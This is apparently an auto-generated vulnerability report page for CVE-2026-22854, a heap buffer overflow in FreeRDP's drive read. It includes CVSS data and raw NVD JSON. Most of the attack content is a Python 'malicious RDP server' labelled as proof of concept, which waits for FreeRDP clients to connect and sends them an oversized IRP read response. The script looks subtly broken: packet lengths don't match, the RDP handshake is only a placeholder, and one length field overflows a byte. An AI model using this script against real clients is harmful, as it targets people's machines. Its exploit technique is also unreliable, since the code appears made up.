Security Vulnerability Report
中文
CVE-2026-22854 CVSS 9.8 CRITICAL

CVE-2026-22854

Published: 2026-01-14 18:16:43
Last Modified: 2026-01-20 18:38:29

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap-buffer-overflow occurs in drive read when a server-controlled read length is used to read file data into an IRP output stream buffer without a hard upper bound, allowing an oversized read to overwrite heap memory. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-22854 PoC - Malicious RDP Server Triggering Heap Buffer Overflow in FreeRDP # This PoC demonstrates the vulnerability in FreeRDP drive read functionality import socket import struct import threading class MaliciousRDPServer: def __init__(self, host='0.0.0.0', port=3389): self.host = host self.port = port def send_x224_connect(self, client_socket): """Send X.224 Connection Request""" # X.224 Connection Request packet x224_packet = bytes([ 0x03, 0x00, 0x00, 0x0b, # TPKT header 0x06, 0x00, 0x00, 0x00, 0x00, 0x00 # X.224 Connection Request ]) client_socket.send(x224_packet) def send_mcs_connect(self, client_socket): """Send MCS Connect Initial""" # MCS Connect Initial with GCC Conference Create Request mcs_packet = bytes([ 0x03, 0x00, 0x01, 0x00, # TPKT header 0x08, 0x00, 0x00, 0x00 # MCS Connect Initial ]) # Add padding and capabilities mcs_packet += b'\x00' * 512 client_socket.send(mcs_packet) def send_server_caps(self, client_socket): """Send Server Core Data with capabilities indicating drive support""" # Server Core Data PDU with drive redirection capability caps_packet = bytes([ 0x03, 0x00, 0x01, 0x00, # TPKT header 0x01, 0x00, 0x8c, 0x00, # Share Control Header + Server Core Data 0x0a, 0x00, 0x08, 0x00, 0x00, 0x00 # Version info ]) # Add extra flags indicating drive support caps_packet += struct.pack('<I', 0x00000001) # Drive redirection client_socket.send(caps_packet) def send_irp_read_response_overflow(self, client_socket): """Send malicious IRP read response with oversized length""" # IRP Major Function = IRP_MJ_READ (0x03) # FileObject pointer and completion parameters irp_header = struct.pack('<BBBB', 0x03, 0x00, 0x00, 0x00) # Read operation # Malicious: Send read length of 0xFFFF bytes when buffer is much smaller # This causes heap buffer overflow in FreeRDP drive read malicious_length = 0xFFFF # 65535 bytes - far exceeding typical buffer size # IRP response with malicious length irp_response = struct.pack('<I', malicious_length) # Malicious read length irp_response += b'\x41' * malicious_length # Overflow data # Send as fast-path packet packet = bytes([0x03, 0x00]) + struct.pack('>H', len(irp_response) + 7) packet += bytes([0x17]) # Fast-path PDU type packet += bytes([0x80 | len(irp_response)]) # Compressed length packet += irp_response client_socket.send(packet) def handle_client(self, client_socket, addr): print(f"[*] Connection from {addr}") try: # Standard RDP handshake sequence self.send_x224_connect(client_socket) self.send_mcs_connect(client_socket) self.send_server_caps(client_socket) # After capabilities exchange, trigger the vulnerability # by sending a malicious IRP read response self.send_irp_read_response_overflow(client_socket) print("[*] Malicious IRP response sent - FreeRDP heap overflow triggered") except Exception as e: print(f"[!] Error: {e}") finally: client_socket.close() def start(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.host, self.port)) server.listen(5) print(f"[*] Malicious RDP Server listening on {self.host}:{self.port}") while True: client, addr = server.accept() handler = threading.Thread(target=self.handle_client, args=(client, addr)) handler.start() if __name__ == "__main__": server = MaliciousRDPServer() server.start()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22854", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:42.933", "lastModified": "2026-01-20T18:38:29.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap-buffer-overflow occurs in drive read when a server-controlled read length is used to read file data into an IRP output stream buffer without a hard upper bound, allowing an oversized read to overwrite heap memory. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.20.1, ocurre un desbordamiento de búfer de pila en la lectura de unidad cuando se utiliza una longitud de lectura controlada por el servidor para leer datos de archivo en un búfer de flujo de salida IRP sin un límite superior estricto, permitiendo que una lectura de tamaño excesivo sobrescriba la memoria de la pila. Esta vulnerabilidad está corregida en la versión 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-47vj-g3c3-3rmf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}